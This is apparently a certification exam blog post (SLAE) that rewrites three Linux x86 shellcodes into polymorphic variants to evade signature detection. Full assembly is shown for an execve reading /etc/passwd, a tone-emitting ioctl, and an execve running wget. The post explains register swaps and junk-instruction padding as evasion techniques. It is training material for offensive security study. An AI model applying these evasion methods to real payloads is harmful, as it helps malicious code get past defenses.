SLAE Exam 6 Polymorphic Shellcode
So, I’ve been on a slight hiatus from the SLAE because my lab time for OSCE began right as I was finishing this up. So, I put this on pause to complete that. Don’t worry, an OSCE write-up is coming :) But for now, let’s finish out SLAE nice a strong. Today, we’re going to look at morphing shellcode to break the signature detection that might catch it.
- Take up 3 shellcodes from Shell-Storm and create polymorphic versions of them to beat pattern matching
- The polymorphic versions cannot be larger than 150% of the existing shellcode
- Bonus points for making it shorter in length than the original
The first shellcode we’ll take is a simple 42-byte shellcode that calls
/bin/cat /etc/passwd via the
execve system call.
xor eax,eax cdq push edx push 0x7461632f push 0x6e69622f mov ebx,esp push edx push 0x64777373 push 0x61702f2f push 0x6374652f mov ecx,esp mov al,0xb push edx push ecx push ebx mov ecx,esp int 0x80
Looking over this, we see some obvious things we could modify that would produce the same functionality using the same instructions. For example,
cdq is being used here to clear the EDX register, but we could do the same with a special multiply call. EDX is also being used to push null values onto the stack, but we could use a different register. We could also change the order of some of the instructions, which would result in a different signature. Let’s do all of this.
xor ebx, ebx ; Use EBX instead of EAX mul ebx ; This clears EAX and EDX for us push eax ; Push nulls with EAX push 0x7461632f push 0x6e69622f mov ebx,esp push eax ; Push nulls with EAX push 0x64777373 push 0x61702f2f push 0x6374652f mov ecx,esp push eax ; Push nulls with EAX push ecx push ebx mov ecx,esp mov al,0xb ; Rearrange this command int 0x80
The original shellcode was 43 bytes, and our morphed version was 44 bytes. That results in a 2.3% increase in size, which is within our boundary! On to the next piece of code.
This next piece of shellcode we’ll modify is just a fun piece of code designed to emit a tone, and is originally 45 bytes.
; int fd = open("/dev/tty10", O_RDONLY); push byte 5 pop eax cdq push edx push 0x30317974 push 0x742f2f2f push 0x7665642f mov ebx, esp mov ecx, edx int 80h ; ioctl(fd, KDMKTONE (19248), 66729180); mov ebx, eax push byte 54 pop eax mov ecx, 4294948047 not ecx mov edx, 66729180 int 80h
It’s easy to spot a couple of things we might do differently. For example, the way that values are moved into registers could be changed, and ECX has a
not instruction performed on it, when we could just move the correct value there in the first place. Let’s try these out.
; int fd = open("/dev/tty10", O_RDONLY); xor eax, eax mov al, 5 ; direct move vs push pop cdq push edx push 0x30317974 push 0x742f2f2f push 0x7665642f mov ebx, esp mov ecx, edx int 80h ; ioctl(fd, KDMKTONE (19248), 66729180); mov ebx, eax mov al, 54 ; direct move vs push pop mov cx, 0x4b30 ; move correct value vs !value mov edx, 66729180 int 80h
The original shellcode was 45 bytes, and our morphed version was 42 bytes. That results in a 6.7% _decrease_ in size, which should award us our bonus! Excellent, on to the last exercise.
This last shellcode we’ll take is a simple 42-byte shellcode that calls
/usr/bin/wget aaaa via the
execve system call.
push 0xb pop eax cdq push edx push 0x61616161 mov ecx,esp push edx push 0x74 push 0x6567772f push 0x6e69622f push 0x7273752f mov ebx,esp push edx push ecx push ebx mov ecx,esp int 0x80 inc eax int 0x80
Again, we see some obvious things we can modify, such as how values get into registers, but there’s another technique I haven’t used yet to mangle signatures, and that’s the concept of NOPs. There is the literal instruction NOP, but there are also NOPs that are valid instructions that don’t effect the functionality of the program. For example, if you need the value 0x2 inside the EAX register, you can simply do a
mov eax, 0x2, but you could also do
mov ebx, 0x4; inc edx; mov eax, 0x2; pushad; popad. Even though there are 5 instructions in the second set, it still accomplishes the same goal. We will use that technique in this shellcode as well.
inc esp inc ebp cdq dec esp dec ebp push edx push 0x61616161 inc edx mov ecx,esp dec edx push edx push 0x74 push 0x6567772f push 0x6e69622f push 0x7273752f mov ebx,esp push edx push ecx pushad popad push ebx mov ecx,esp push 0xb pop eax int 0x80 add al, 0x2 dec al int 0x80
The original shellcode was 42 bytes, and our morphed version was 53 bytes. That results in a 26% increase in size, which is still within our boundary.
Overall, this was a good exercise. Not only are these techniques helpful in defeating pattern matching, but they are also helpful when your buffer is susceptible to bad characters, and you need to change opcodes to fit the realm of good characters available. Anyways, I learned some great tricks here, and I hope you have as well. Until next time, happy hacking!
SLAE Exam Statement
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
Student ID: SLAE-1158